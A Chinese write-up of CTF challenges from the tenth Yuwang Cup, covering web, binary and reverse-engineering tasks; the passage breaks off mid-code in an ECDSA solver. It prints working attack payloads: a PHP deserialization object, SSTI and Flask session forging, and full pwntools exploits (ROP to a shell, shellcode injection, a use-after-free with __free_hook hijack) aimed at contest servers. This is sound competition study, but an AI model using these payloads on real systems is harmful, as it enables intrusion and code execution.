文章总结: 本文详细记录了第十届御网杯网络安全大赛的解题过程,涵盖WEB和PWN两大方向。WEB部分包括前端数据伪造、PHP反序列化漏洞、目录穿越绕过、SSTI模板注入等实战技巧;PWN部分涉及栈溢出、ROP链构造、后门函数利用、Shellcode注入等二进制漏洞利用。文章提供了完整的漏洞分析、解题步骤和EXP代码,具有较高的技术参考价值。 综合评分: 85 文章分类: WEB安全,漏洞分析,CTF,实战经验,红队
第十届御网杯网络安全大赛%20Write%20Up
赛查查
2026年6月23日%2011:07 北京
在小说阅读器读本章
去阅读
以下文章来源于XChenFu ,作者ChenFu
XChenFu
队名:%20SylphSEC%20还差一道题AK%20这次御网杯题目难度中等%20官方服务器质量有待提高%20本次Write%20Up%20经过AI优化才发布%20应该更直观点!%20如有不足,请多多担待!
一、WEB%20篇
1、WEB-Snake_Game|贪吃蛇前端篡改
题目:贪吃蛇游戏结束后提交分数,直接拿%20flag
考点:前端数据伪造、POST%20请求劫持
解题步骤
- 访问靶机,打开贪吃蛇游戏。
- 游戏结束后,前端会自动%20POST%20分数到
index.php。 - 按%20F12%20打开开发者工具,切换到【Network】面板,找到提交%20score%20的%20POST%20请求。
- 直接修改请求参数,把
score的值改为300,发送请求即可触发%20flag。
关键截图
flag
flag{990bbcc6f10cdec005051a07f73dbc3c}
2、WEB-PHP_Payment|PHP%20反序列化漏洞
题目:数字资产商城,初始余额%2020%20金币,购买%20flag%20需%2099999%20金币
考点:PHP%20反序列化、unserialize、__destruct魔术方法
解题步骤
- 访问靶机:
http://120.27.146.76:25269/,初始余额%2020%20金币,无法购买%20flag。 - 查看页面源码,发现优惠券接口:
/api/apply_coupon.php。 - 接口代码逻辑:接收%20Base64%20编码的优惠券,解码后直接
unserialize,存在PHP%20反序列化漏洞。
$decoded%20=%20base64_decode($couponData);
%20$promo%20=%20@unserialize($decoded);
- 查看
models.php,找到PromoManager类:
class%20PromoManager%20{
%20 %20public%20$promo_credit;
%20 %20public%20$promo_code;
%20 %20function%20__destruct()%20{
%20 %20 %20 %20if(isset($this->promo_credit)%20&&%20is_numeric($this->promo_credit))%20{
%20 %20 %20 %20 %20 %20$_SESSION['balance']%20+=%20intval($this->promo_credit);
%20 %20 %20 %20}
%20 %20}
}
核心:对象销毁时,会把promo_credit的值加到用户余额中。
- 构造恶意序列化对象(设置
promo_credit=99999):
O:12:"PromoManager":2:{s:12:"promo_credit";i:99999;s:10:"promo_code";s:3:"vip";}
- 对恶意字符串进行%20Base64%20编码:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6OTk5OTk7czoxMDoicHJvbW9fY29kZSI7czozOiJ2aXAiO30=
- 访问优惠券接口,提交编码后的字符串,余额暴涨至%20100019%20金币,购买%20flag%20商品即可。
关键截图
flag
flag{193b5a23f59bedebfebd5bde9816b8f8}
3、WEB-Enterprise_OA|目录穿越绕过
题目:OA%20系统通过module参数加载文件,过滤../
考点:目录穿越绕过、PHP%20伪协议、绝对路径读取
解题步骤
1.访问靶机:http://47.99.147.34:18941/,页面导航栏发现参数:
?module=public_notices.php
%20?module=about.php
%20?module=contact.php
2.判断为动态文件加载,尝试目录穿越,直接用?module=../../../../etc/passwd,返回报错:
include(etc/passwd):%20failed%20to%20open%20stream
3.分析源码:后端仅简单过滤../,未禁止绝对路径和%20PHP%20伪协议。
$module%20=%20isset($_GET['module'])%20?%20$_GET['module']%20:%20'public_notices.php';
%20$module%20=%20str_replace('../',%20'',%20$module);
%20include($module);
4.直接使用绝对路径读取%20flag%20文件:
?module=/flag.txt
关键截图
flag
flag{23afce1d8adb0d09b9fbb8bd81324d96}
4、WEB-TaxSystem_SSTI|SSTI%20模板注入%20+%20Session%20伪造
题目:Flask%20税务系统,custom_footer参数可控,存在%20SSTI%20漏洞
考点:Flask%20SSTI、Jinja2%20模板注入、Session%20伪造、权限绕过
解题步骤
- 访问靶机,使用源码账号登录:
admin%20/%20123456。 - 发现
/preview/<profile_id>页面,当state%20==%20AUDIT_PENDING时,custom_footer参数会被拼入模板,调用render_template_string(),存在SSTI%20漏洞。 - 通过
/api/import接口修改用户档案,提交%20JSON%20数据:
{
%20 %20"profile_id":%201,
%20 %20"data":%20{
%20 %20 %20 %20"state":%20"AUDIT_PENDING",
%20 %20 %20 %20"custom_footer":%20"{{config}}"
%20 %20}
}
4.访问/preview/1,{{config}}被%20Jinja2%20渲染,泄露%20Flask%20配置:
SECRET_KEY%20=%20secret_tax_key_2026_xoxo
%20DATABASE%20=%20/var/lib/sqlite/tax.db
5./admin/vault页面权限判断仅校验%20Session:
if%20session.get('role')%20!=%20'tax_inspector':%20...
6.利用泄露的SECRET_KEY,伪造管理员%20Session:
from%20flask%20import%20Flask
app%20=%20Flask(__name__)
app.secret_key%20=%20'secret_tax_key_2026_xoxo'
s%20=%20app.session_interface.get_signing_serializer(app)
print(s.dumps({
%20 %20'role':%20'tax_inspector',
%20 %20'user_id':%201
}))
7.替换浏览器%20Cookie%20为伪造的%20Session,访问/admin/vault获取%20flag。
关键截图
flag
flag{7ca74b4a36594a4b3f1d84ba41425cbd}
二、PWN%20篇
5、PWN-Authenticate|基础栈溢出
题目:程序存在gets栈溢出,无保护机制
考点:栈溢出、ROP%20链构造、system调用、/bin/sh执行
解题步骤
- 获取题目文件
vuln,使用checksec查看保护:
No%20Canary
%20No%20PIE
%20栈可执行
结论:无任何保护,存在栈溢出漏洞。
- 分析漏洞点:
read(0,%20username,%200x40)%20 //%20读取用户名(64字节)
%20gets(password)%20 %20 %20 %20 %20 %20 %20 //%20无限制读取密码,造成栈溢出
- 计算偏移:
- 用户名缓冲区:64%20字节
- 密码到返回地址偏移:136%20字节
- 程序内存在
/bin/sh字符串和system@plt,构造%20ROP%20链:
ret(栈对齐)→%20pop%20rdi;%20ret(传参)→%20/bin/sh地址%20→%20system@plt地址
完整%20EXP
from%20pwn%20import%20*
import%20time
context(arch='amd64',%20os='linux',%20log_level='debug')
p%20=%20remote("47.99.147.34",%2012911)
#%20关键地址
ret%20=%200x40101a
pop_rdi%20=%200x401363
bin_sh%20=%200x402008
system_plt%20=%200x4010c0
#%20构造payload:64字节用户名+136字节填充+ROP链
payload%20=%20b'U'*64%20+%20b'B'*136%20+%20p64(ret)%20+%20p64(pop_rdi)%20+%20p64(bin_sh)%20+%20p64(system_plt)
p.sendline(payload)
time.sleep(0.3)
p.sendline(b"cat%20flag")%20 #%20执行命令读取flag
res%20=%20p.recvall()
print(res.decode(errors='ignore'))
p.close()
关键截图
flag
flag{2af49daf839824cb86e934be4fde1f96}
6、PWN-NoteService|ret2text%20后门利用
题目:程序存在栈溢出,内置后门函数
考点:栈溢出、ret2text、后门函数调用、栈对齐
解题步骤
- 获取题目文件
vuln和libc-2.31.so,checksec查看保护:
No%20Canary
%20NX%20enabled
%20No%20PIE
- 漏洞点:
read(0,%20buf,%200x100),栈缓冲区大小仅0x40,存在栈溢出。 - 程序二进制中存在后门函数
secret_note,直接跳转即可%20getshell。 - 计算偏移:
0x40(缓冲区)%20+%208(rbp)%20=%2072字节。 - 构造%20payload:72%20字节填充%20+%20栈对齐%20ret%20+%20后门函数地址。
完整%20EXP
from%20pwn%20import%20*
context.binary%20=%20r"C:\Users\ChenFu\Desktop\YWB\PWN\NoteService\vuln"
context.log_level%20=%20"info"
#%20靶机信息
HOST%20=%20"120.27.146.76"
PORT%20=%2024028
elf%20=%20ELF(context.binary.path)
#%20关键地址
RET%20=%200x40101A
SECRET_NOTE%20=%20elf.symbols["secret_note"]
OFFSET%20=%2072
def%20main():
%20 %20io%20=%20remote(HOST,%20PORT,%20timeout=5)
%20 %20io.recvuntil(b"Leave%20your%20note:\n")
%20 %20#%20构造payload
%20 %20payload%20=%20flat(
%20 %20 %20 %20b"A"%20*%20OFFSET,
%20 %20 %20 %20RET,
%20 %20 %20 %20SECRET_NOTE,
%20 %20)
%20 %20io.sendline(payload)
%20 %20sleep(0.5)
%20 %20#%20读取flag
%20 %20io.sendline(b"cat%20flag;%20cat%20flag.txt;%20cat%20/flag;%20cat%20/flag.txt")
%20 %20data%20=%20io.recvrepeat(5)
%20 %20print(data.decode("latin-1",%20errors="replace"))
%20 %20io.interactive()
if%20__name__%20==%20"__main__":
%20 %20main()
关键截图
flag
flag{47448f976eeb425e8081b03c3b2afb7d}
7、PWN-MessageBoard|栈可执行%20+%20Shellcode%20注入
题目:程序泄露栈地址,栈可执行,存在栈溢出
考点:栈可执行、Shellcode%20注入、地址泄露、溢出覆盖返回地址
解题步骤
-
checksec查看保护:无%20canary、无%20PIE、栈可执行,程序会打印栈地址。
-
漏洞点:
char%20buf[0x80];%20read(0,%20buf,%200x100);,缓冲区%200x80%20字节,读取%200x100%20字节,溢出。 -
偏移计算:
0x80(缓冲区)%20+%208(rbp)%20=%20136字节。 -
利用泄露的栈地址,将%20Shellcode%20放在栈开头,覆盖返回地址为泄露地址,执行%20Shellcode。
完整%20EXP
from%20pwn%20import%20*
#%20靶机信息
HOST%20=%20"120.27.146.76"
PORT%20=%2019743
OFFSET%20=%200x80%20+%208%20 #%20136字节
def%20build_payload(buf_addr:%20int)%20->%20bytes:
%20 %20#%20amd64%20execve("/bin//sh",%200,%200)%20Shellcode(22字节,无空字节)
%20 %20shellcode%20=%20bytes.fromhex(
%20 %20 %20 %20"4831f65648bf2f62696e2f2f736857545f6a3b580f05"
%20 %20)
%20 %20#%20Shellcode%20+%20填充%20+%20泄露的栈地址
%20 %20return%20shellcode%20+%20b"\x90"%20*%20(OFFSET%20-%20len(shellcode))%20+%20p64(buf_addr)
def%20main():
%20 %20context.arch%20=%20"amd64"
%20 %20context.log_level%20=%20"info"
%20 %20io%20=%20remote(HOST,%20PORT)
%20 %20#%20接收泄露的栈地址
%20 %20io.recvuntil(b"Buffer%20at:%20")
%20 %20buf_addr%20=%20int(io.recvline().strip(),%2016)
%20 %20log.success(f"leaked%20buffer%20address:%20{hex(buf_addr)}")
%20 %20io.recvuntil(b"Message:%20")
%20 %20io.send(build_payload(buf_addr))
%20 %20sleep(0.3)
%20 %20#%20读取flag
%20 %20io.sendline(b"cat%20/flag")
%20 %20print(io.recvrepeat(2).decode(errors="ignore"))
%20 %20io.close()
if%20__name__%20==%20"__main__":
%20 %20main()
关键截图
flag
flag{5e76f1da370f72f3dbac204eade3f3b7}
8、PWN-UserManager|UAF%20+%20堆泄露%20+__free_hook%20劫持
题目:用户管理系统,存在释放后重用(UAF)漏洞
考点:UAF(释放后重用)、堆地址泄露、libc%20基址泄露、__free_hook%20劫持、system%20调用
解题步骤
- 漏洞分析:Delete%20释放%20pass%20和%20user%20结构体,但未清空指针,Register%20时可重叠结构体,造成%20UAF。
- 利用
strcmp做字节%20oracle,逐字节爆破泄露堆地址。 - 释放大内存块进入%20unsorted%20bin,泄露%20main_arena%20指针,计算%20libc%20基址。
- 劫持
__free_hook为system,注册密码为/bin/sh的用户,Delete%20触发system("/bin/sh")。
完整%20EXP
from%20pwn%20import%20*
import%20time
#%20靶机和文件路径
HOST,%20PORT%20=%20"120.27.146.76",%2026966
BIN%20=%20r"C:\Users\ChenFu\Desktop\YWB\PWN\PWN-UserManager\login"
LIBC%20=%20r"C:\Users\ChenFu\Desktop\YWB\PWN\PWN-UserManager\libc-2.23.so"
elf%20=%20ELF(BIN)
libc%20=%20ELF(LIBC)
context.log_level%20=%20"info"
#%20连接函数
def%20connect():
%20 %20for%20_%20in%20range(8):
%20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20r%20=%20remote(HOST,%20PORT,%20timeout=10)
%20 %20 %20 %20 %20 %20r.recvuntil(b"Your%20choice:",%20timeout=10)
%20 %20 %20 %20 %20 %20return%20r
%20 %20 %20 %20except%20Exception:
%20 %20 %20 %20 %20 %20try:%20r.close()
%20 %20 %20 %20 %20 %20except%20Exception:%20pass
%20 %20 %20 %20 %20 %20time.sleep(10)
%20 %20raise%20RuntimeError("connect%20failed")
#%20注册、删除、编辑、登录函数
def%20reg(r,%20idx,%20size,%20data):
%20 %20r.sendline(b"2")
%20 %20r.recvuntil(b"Input%20the%20user%20id:")
%20 %20r.sendline(str(idx).encode())
%20 %20r.recvuntil(b"Input%20the%20password%20length:")
%20 %20r.sendline(str(size).encode())
%20 %20r.recvuntil(b"Input%20password:")
%20 %20if%20data:
%20 %20 %20 %20r.send(data)
%20 %20r.recvuntil(b"Your%20choice:")
def%20delete(r,%20idx):
%20 %20r.sendline(b"3")
%20 %20r.recvuntil(b"Input%20the%20user%20id:")
%20 %20r.sendline(str(idx).encode())
%20 %20r.recvuntil(b"Your%20choice:")
def%20edit(r,%20idx,%20data):
%20 %20r.sendline(b"4")
%20 %20r.recvuntil(b"Input%20the%20user%20id:")
%20 %20r.sendline(str(idx).encode())
%20 %20r.recvuntil(b"Input%20new%20pass:")
%20 %20r.send(data)
%20 %20r.recvuntil(b"Your%20choice:")
def%20login_try(r,%20idx,%20data):
%20 %20r.sendline(b"1")
%20 %20r.recvuntil(b"Input%20the%20user%20id:")
%20 %20r.sendline(str(idx).encode())
%20 %20r.recvuntil(b"Input%20the%20passwords%20length:")
%20 %20r.sendline(str(len(data)).encode())
%20 %20r.recvuntil(b"Input%20the%20password:")
%20 %20if%20data:
%20 %20 %20 %20r.send(data)
%20 %20out%20=%20r.recvuntil(b"Your%20choice:",%20timeout=5)
%20 %20return%20out
#%20地址操作函数
def%20set_user0_pass(r,%20addr):
%20 %20edit(r,%201,%20p64(addr))
def%20set_user0_pass_low(r,%20low):
%20 %20edit(r,%201,%20bytes([low]))
#%20泄露指针
def%20leak_ptr_backwards(r,%20ptr_addr,%20high_hint=None):
%20 %20known%20=%20b""
%20 %20for%20off%20in%20range(5,%20-1,%20-1):
%20 %20 %20 %20set_user0_pass(r,%20ptr_addr%20+%20off)
%20 %20 %20 %20order%20=%20range(256)
%20 %20 %20 %20if%20high_hint%20is%20not%20None%20and%20off%20==%205:
%20 %20 %20 %20 %20 %20order%20=%20[high_hint]%20+%20[x%20for%20x%20in%20range(256)%20if%20x%20!=%20high_hint]
%20 %20 %20 %20for%20b%20in%20order:
%20 %20 %20 %20 %20 %20guess%20=%20bytes([b])%20+%20known
%20 %20 %20 %20 %20 %20out%20=%20login_try(r,%200,%20guess)
%20 %20 %20 %20 %20 %20if%20b"Wrong%20password!"%20not%20in%20out%20and%20b"Login%20success!"%20in%20out:
%20 %20 %20 %20 %20 %20 %20 %20known%20=%20guess
%20 %20 %20 %20 %20 %20 %20 %20log.info("leak%20@%#x byte[%d]=%#x ->%20%s",%20ptr_addr,%20off,%20b,%20known.hex())
%20 %20 %20 %20 %20 %20 %20 %20break
%20 %20 %20 %20else:
%20 %20 %20 %20 %20 %20raise%20RuntimeError(f"failed%20leaking%20{ptr_addr:#x}%20at%20byte%20{off},%20known={known.hex()}")
%20 %20return%20u64(known.ljust(8,%20b"\x00"))
def%20leak_heap_s0(r,%20p0_low=0x10,%20high_hint=0x55):
%20 %20known%20=%20b""
%20 %20for%20off%20in%20range(5,%20-1,%20-1):
%20 %20 %20 %20set_user0_pass_low(r,%20p0_low%20+%20off)
%20 %20 %20 %20order%20=%20range(256)
%20 %20 %20 %20if%20off%20==%205:
%20 %20 %20 %20 %20 %20order%20=%20[high_hint,%200x56,%200x55,%200x57]%20+%20[x%20for%20x%20in%20range(256)%20if%20x%20not%20in%20(high_hint,%200x56,%200x55,%200x57)]
%20 %20 %20 %20for%20b%20in%20order:
%20 %20 %20 %20 %20 %20guess%20=%20bytes([b])%20+%20known
%20 %20 %20 %20 %20 %20out%20=%20login_try(r,%200,%20guess)
%20 %20 %20 %20 %20 %20if%20b"Wrong%20password!"%20not%20in%20out%20and%20b"Login%20success!"%20in%20out:
%20 %20 %20 %20 %20 %20 %20 %20known%20=%20guess
%20 %20 %20 %20 %20 %20 %20 %20log.info("heap%20byte[%d]=%#x ->%20%s",%20off,%20b,%20known.hex())
%20 %20 %20 %20 %20 %20 %20 %20break
%20 %20 %20 %20else:
%20 %20 %20 %20 %20 %20raise%20RuntimeError(f"failed%20heap%20leak%20at%20byte%20{off},%20known={known.hex()}")
%20 %20return%20u64(known.ljust(8,%20b"\x00"))
#%20主逻辑
r%20=%20connect()
#%20构造UAF重叠结构体
reg(r,%200,%200x18,%20b"A")
delete(r,%200)
reg(r,%201,%200x18,%20b"\x10")
#%20泄露堆地址
S0%20=%20leak_heap_s0(r,%20p0_low=0x10,%20high_hint=0x55)
P0%20=%20S0%20-%200x20
log.success("heap%20S0=%#x P0=%#x",%20S0,%20P0)
#%20泄露libc基址
set_user0_pass(r,%20P0)
L2%20=%20S0%20+%200x20
reg(r,%202,%200x100,%20b"B")
delete(r,%202)
log.info("predicted%20unsorted%20chunk%20L2=%#x",%20L2)
arena_leak%20=%20leak_ptr_backwards(r,%20L2,%20high_hint=0x7f)
libc_base%20=%20arena_leak%20-%200x3c4b78
log.success("arena%20leak=%#x libc=%#x",%20arena_leak,%20libc_base)
#%20劫持__free_hook为system
free_hook%20=%20libc_base%20+%20libc.symbols["__free_hook"]
system%20=%20libc_base%20+%20libc.symbols["system"]
log.info("overwrite%20free_hook=%#x with%20system=%#x",%20free_hook,%20system)
set_user0_pass(r,%20free_hook)
edit(r,%200,%20p64(system))
#%20free("/bin/sh")触发system
reg(r,%203,%200x18,%20b"/bin/sh\x00")
delete(r,%203)
r.sendline(b"cat%20flag;%20cat%20/flag;%20cat%20/flag*")
r.interactive()
关键截图
flag
flag{5d2e01c99c338d6ab40a5c1f4c913219}
三、RE%20篇
9、RE-rerere|异或校验%20+%20查表还原
题目:输入%2038%20字节字符串,通过异或查表校验
考点:异或加密、查表校验、长度校验、反查表还原
解题步骤
- 扫描字符串,发现关键提示:
Input:%20Correct!%20Wrong!,主逻辑在Input:引用附近。 - 主函数长度校验:
cmp%20edx,%200x26,输入长度必须为0x26=38字节。 - 核心校验逻辑:
for%20(i%20=%200;%20i%20<%20len;%20i++)%20{
%20 %20x%20=%20input[i]%20^%20key[i%20&%207];
%20 %20if%20(table[x]%20!=%20target[i])%20{
%20 %20 %20 %20return%200;
%20 %20}
}
return%201;
- 关键数据(.rdata%20段):
- target:0x140004020,长度%200x26
- key:0x140004048,长度%208
- table:0x140004060,长度%20256
- 还原逻辑:
x%20=%20inverse_table[target[i]],input[i]%20=%20x%20^%20key[i%20&%207]。
完整%20EXP
import%20os
def%20main():
%20 %20exe%20=%20os.path.join(os.path.dirname(__file__),%20"rerere.exe")
%20 %20rdata_va%20=%200x140004000
%20 %20rdata_off%20=%200x2200
%20 %20def%20get_off(va):
%20 %20 %20 %20return%20rdata_off%20+%20va%20-%20rdata_va
%20 %20with%20open(exe,%20"rb")%20as%20f:
%20 %20 %20 %20buf%20=%20f.read()
%20 %20#%20读取target、key、table
%20 %20part1%20=%20buf[get_off(0x140004020):get_off(0x140004020)%20+%200x26]
%20 %20k%20=%20buf[get_off(0x140004048):get_off(0x140004048)%20+%208]
%20 %20tbl%20=%20buf[get_off(0x140004060):get_off(0x140004060)%20+%20256]
%20 %20#%20反查表
%20 %20rev_tbl%20=%20dict(zip(tbl,%20range(256)))
%20 %20res%20=%20bytearray()
%20 %20for%20idx,%20val%20in%20enumerate(part1):
%20 %20 %20 %20res.append(rev_tbl[val]%20^%20k[idx%20&%207])
%20 %20#%20验证
%20 %20verify%20=%20bytearray()
%20 %20for%20idx%20in%20range(len(res)):
%20 %20 %20 %20verify.append(tbl[res[idx]%20^%20k[idx%20&%207]])
%20 %20assert%20verify%20==%20part1
%20 %20print(res.decode())
if%20__name__%20==%20"__main__":
%20 %20main()
关键截图
flag
flag{c27ee55480192e908930cd3afa1c9adb}
10、RE%20–%20字节码迷踪|PyC%20反编译%20+%20Base64%20+%20异或
题目:Python%20字节码文件,Base64%20+%20单字节异或加密
考点:PyC%20字节码反汇编、marshal%20解析、Base64%20解码、单字节异或解密
解题步骤
- 查看%20PyC%20文件头:
cb0d0d0a,为%20Python%20字节码文件。 - 使用
marshal.loads(data[16:])读取%20code%20object,dis.dis()反汇编。 - 提取关键数据:
- encoded_flag:
"NT8yNCgjYz0hJCllY34lJzRhfiEnOzx+JWQrPX4xJ2FkJTg6KT1hNT8u" - xor_key:83
- 解密逻辑:Base64%20解码后,逐字节异或%20key=83,得到%20flag。
完整%20EXP
#!/usr/bin/env%20python3
import%20argparse
import%20base64
import%20marshal
import%20re
from%20pathlib%20import%20Path
DEFAULT_PYC%20=%20Path(r"C:\Users\ChenFu\Desktop\YWB\RE\字节码迷踪\py_obf_09.pyc")
def%20walk_code_consts(code):
%20 %20yield%20code
%20 %20for%20item%20in%20code.co_consts:
%20 %20 %20 %20if%20hasattr(item,%20"co_consts"):
%20 %20 %20 %20 %20 %20yield%20from%20walk_code_consts(item)
def%20solve(path:%20Path)%20->%20str:
%20 %20data%20=%20path.read_bytes()
%20 %20code%20=%20marshal.loads(data[16:])
%20 %20encoded%20=%20None
%20 %20xor_key%20=%20None
%20 %20#%20遍历所有常量,提取Base64字符串和异或密钥
%20 %20for%20co%20in%20walk_code_consts(code):
%20 %20 %20 %20for%20const%20in%20co.co_consts:
%20 %20 %20 %20 %20 %20if%20isinstance(const,%20str)%20and%20re.fullmatch(r"[A-Za-z0-9+/=]{20,}",%20const):
%20 %20 %20 %20 %20 %20 %20 %20encoded%20=%20const
%20 %20 %20 %20 %20 %20elif%20isinstance(const,%20int)%20and%200%20<=%20const%20<=%20255:
%20 %20 %20 %20 %20 %20 %20 %20xor_key%20=%20const
%20 %20if%20encoded%20is%20None%20or%20xor_key%20is%20None:
%20 %20 %20 %20raise%20ValueError("encoded%20flag%20or%20xor%20key%20not%20found")
%20 %20#%20Base64解码+异或解密
%20 %20decoded%20=%20base64.b64decode(encoded)
%20 %20return%20"".join(chr(b%20^%20xor_key)%20for%20b%20in%20decoded)
def%20main():
%20 %20parser%20=%20argparse.ArgumentParser(description="Solve%20the%20Python%20bytecode%20challenge.")
%20 %20parser.add_argument("pyc",%20nargs="?",%20type=Path,%20default=DEFAULT_PYC)
%20 %20args%20=%20parser.parse_args()
%20 %20print(solve(args.pyc))
if%20__name__%20==%20"__main__":
%20 %20main()
关键截图
flag
flag{p0nrwz60-vtg2-rtho-v7xn-bt27vkizn2fl}
11、RE-ChaCha20|流加密解密
题目:APK%20文件,native%20层%20ChaCha20%20加密校验
考点:APK%20逆向、SO%20文件分析、ChaCha20%20流加密、密钥%20/%20随机数提取
解题步骤
- 解压%20APK,提取%20dex%20和%20native%20so%20文件:
lib/x86/libmyapplication.so。 - 提取%20SO%20文件字符串,发现关键信息:
- 密钥%20key:
149263a16f2d89cbf0375b1ca94e78d3226017ee9abc4d0853e1762a8dc4903f - 随机数%20nonce:
44332211abcdef668899aa55 - 密文%20ct:
d097c3f6d203a152c851a9318b93e9e5ef63f34925c6ccdb
- 反汇编发现%20ChaCha20%20常量
expand%2032-byte%20k,counter%20从%201%20开始。 - ChaCha20%20是流加密,加密解密同源,用%20key、nonce、counter=1%20解密密文。
完整%20EXP
#!/usr/bin/env%20python3
import%20argparse
import%20re
import%20struct
import%20zipfile
from%20pathlib%20import%20Path
DEFAULT_APK%20=%20Path(r"C:\Users\ChenFu\Desktop\YWB\RE\ChaCha20\CrackMe_1_7.apk")
#%20ChaCha20算法实现
def%20rotl32(x:%20int,%20n:%20int)%20->%20int:
%20 %20return%20((x%20<<%20n)%20&%200xFFFFFFFF)%20|%20(x%20>>%20(32%20-%20n))
def%20quarter_round(s,%20a,%20b,%20c,%20d):
%20 %20s[a]%20=%20(s[a]%20+%20s[b])%20&%200xFFFFFFFF
%20 %20s[d]%20=%20rotl32(s[d]%20^%20s[a],%2016)
%20 %20s[c]%20=%20(s[c]%20+%20s[d])%20&%200xFFFFFFFF
%20 %20s[b]%20=%20rotl32(s[b]%20^%20s[c],%2012)
%20 %20s[a]%20=%20(s[a]%20+%20s[b])%20&%200xFFFFFFFF
%20 %20s[d]%20=%20rotl32(s[d]%20^%20s[a],%208)
%20 %20s[c]%20=%20(s[c]%20+%20s[d])%20&%200xFFFFFFFF
%20 %20s[b]%20=%20rotl32(s[b]%20^%20s[c],%207)
def%20chacha20_block(key:%20bytes,%20counter:%20int,%20nonce:%20bytes)%20->%20bytes:
%20 %20state%20=%20list(
%20 %20 %20 %20struct.unpack("<4I",%20b"expand%2032-byte%20k")
%20 %20 %20 %20+%20struct.unpack("<8I",%20key)
%20 %20 %20 %20+%20(counter,)
%20 %20 %20 %20+%20struct.unpack("<3I",%20nonce)
%20 %20)
%20 %20working%20=%20state[:]
%20 %20for%20_%20in%20range(10):
%20 %20 %20 %20quarter_round(working,%200,%204,%208,%2012)
%20 %20 %20 %20quarter_round(working,%201,%205,%209,%2013)
%20 %20 %20 %20quarter_round(working,%202,%206,%2010,%2014)
%20 %20 %20 %20quarter_round(working,%203,%207,%2011,%2015)
%20 %20 %20 %20quarter_round(working,%200,%205,%2010,%2015)
%20 %20 %20 %20quarter_round(working,%201,%206,%2011,%2012)
%20 %20 %20 %20quarter_round(working,%202,%207,%208,%2013)
%20 %20 %20 %20quarter_round(working,%203,%204,%209,%2014)
%20 %20return%20struct.pack("<16I",%20*[(working[i]%20+%20state[i])%20&%200xFFFFFFFF%20for%20i%20in%20range(16)])
def%20chacha20_xor(data:%20bytes,%20key:%20bytes,%20nonce:%20bytes,%20counter:%20int%20=%201)%20->%20bytes:
%20 %20out%20=%20bytearray()
%20 %20for%20block_id,%20offset%20in%20enumerate(range(0,%20len(data),%2064),%20start=counter):
%20 %20 %20 %20stream%20=%20chacha20_block(key,%20block_id,%20nonce)
%20 %20 %20 %20block%20=%20data[offset%20:%20offset%20+%2064]
%20 %20 %20 %20out.extend(b%20^%20k%20for%20b,%20k%20in%20zip(block,%20stream))
%20 %20return%20bytes(out)
def%20solve(path:%20Path)%20->%20str:
%20 %20#%20读取SO文件
%20 %20with%20zipfile.ZipFile(path)%20as%20apk:
%20 %20 %20 %20so%20=%20apk.read("lib/x86/libmyapplication.so")
%20 %20#%20提取key、nonce、密文
%20 %20alphabet_off%20=%20so.index(b"0123456789abcdef")
%20 %20key%20=%20so[alphabet_off%20-%2044%20:%20alphabet_off%20-%2012]
%20 %20nonce%20=%20so[alphabet_off%20-%2012%20:%20alphabet_off]
%20 %20candidates%20=%20{
%20 %20 %20 %20m.group(0)
%20 %20 %20 %20for%20m%20in%20re.finditer(rb"\b[0-9a-f]{48}\b",%20so)
%20 %20 %20 %20if%20m.group(0)%20!=%20b"000102030405060708091011121314151617181920212223"
%20 %20}
%20 %20#%20解密获取flag
%20 %20for%20target_hex%20in%20sorted(candidates):
%20 %20 %20 %20plaintext%20=%20chacha20_xor(bytes.fromhex(target_hex.decode()),%20key,%20nonce)
%20 %20 %20 %20try:
%20 %20 %20 %20 %20 %20flag%20=%20plaintext.decode()
%20 %20 %20 %20except%20UnicodeDecodeError:
%20 %20 %20 %20 %20 %20continue
%20 %20 %20 %20if%20flag.startswith("flag{")%20and%20flag.endswith("}"):
%20 %20 %20 %20 %20 %20return%20flag
%20 %20raise%20ValueError("flag%20not%20found")
def%20main():
%20 %20parser%20=%20argparse.ArgumentParser(description="Solve%20the%20ChaCha20%20APK%20challenge.")
%20 %20parser.add_argument("apk",%20nargs="?",%20type=Path,%20default=DEFAULT_APK)
%20 %20args%20=%20parser.parse_args()
%20 %20print(solve(args.apk))
if%20__name__%20==%20"__main__":
%20 %20main()
关键截图
flag
flag{HNCTF62RDYNTFMZ1TF}
12、RE-ECDSA%20nonce%20重用|私钥泄露
题目:两组%20ECDSA%20签名,nonce%20重用,泄露私钥
考点:ECDSA%20签名算法、nonce%20重用漏洞、私钥恢复、SECP256K1%20曲线
解题步骤
- 两组签名
signature1_r%20==%20signature2_r,说明%20nonce%20重用。 - ECDSA%20签名公式:
s%20=%20k^-1%20*%20(z%20+%20r%20*%20d)%20mod%20n。 - 两组签名相减推导:
k%20=%20(z1%20-%20z2)%20*%20inverse(s1%20-%20s2,%20n)%20mod%20n。 - 恢复私钥:
d%20=%20(s1%20*%20k%20-%20z1)%20*%20inverse(r,%20n)%20mod%20n。 - 私钥前%2032%20位为%20flag。
完整%20EXP
#!/usr/bin/env%20python3
import%20argparse
import%20hashlib
import%20json
from%20pathlib%20import%20Path
#%20SECP256K1曲线参数
SECP256K1_P%20=%200xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFC2F
SECP256K1_N%20=%200xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
SECP256K1_G%20=%20(
%20 %2055066263022277343669578718895168534326250603453777594175500187360389116729240,
%20 %2032670510020758816978083085130507043184471273380659243275938904335757337482424,
)
#%20椭圆曲线点运算
def%20point_add(a,%20b):
%20 %20if%20a%20is%20None:
%20 %20 %20 %20return%20b
%20 %20if%20b%20is%20None:
%20 %20 %20 %20return%20a
%20 %20x1,%20y1%20=%20a
%20 %20x2,%20y2%20=%20b
%20 %20if%20x1%20==%20x2%20and%20(y1%20+%20y2)%20%%20SECP256K1_P%20==%200:
%20 %20 %20 %20return%20None
%20 %20if%20a%20==%20b:
%20 %20 %20 %20slope%20=%20(3%20*%20x1%20*%20x1)%20*%20pow(2%20*%20y1,%20-1,%20SECP256K1_P)
%20 %20else:
%20 %20 %20 %20slope%20=%20(y2%20-%20y1)%20*%20pow(x2%20-%20x1,%20-1,%20SECP256K1_P)
%20 %20slope%20%=%20SECP256K1_P
%20 %20x3%20=%20(slope%20*%20slope%20-%20x1%20-%20x2)%20%%20SECP256K1_P
%20 %20y3%20=%20(slope%20*%20(x1%20-%20x3)%20-%20y1)%20%%20SECP256K1_P
%20 %20return%20x3,%20y3
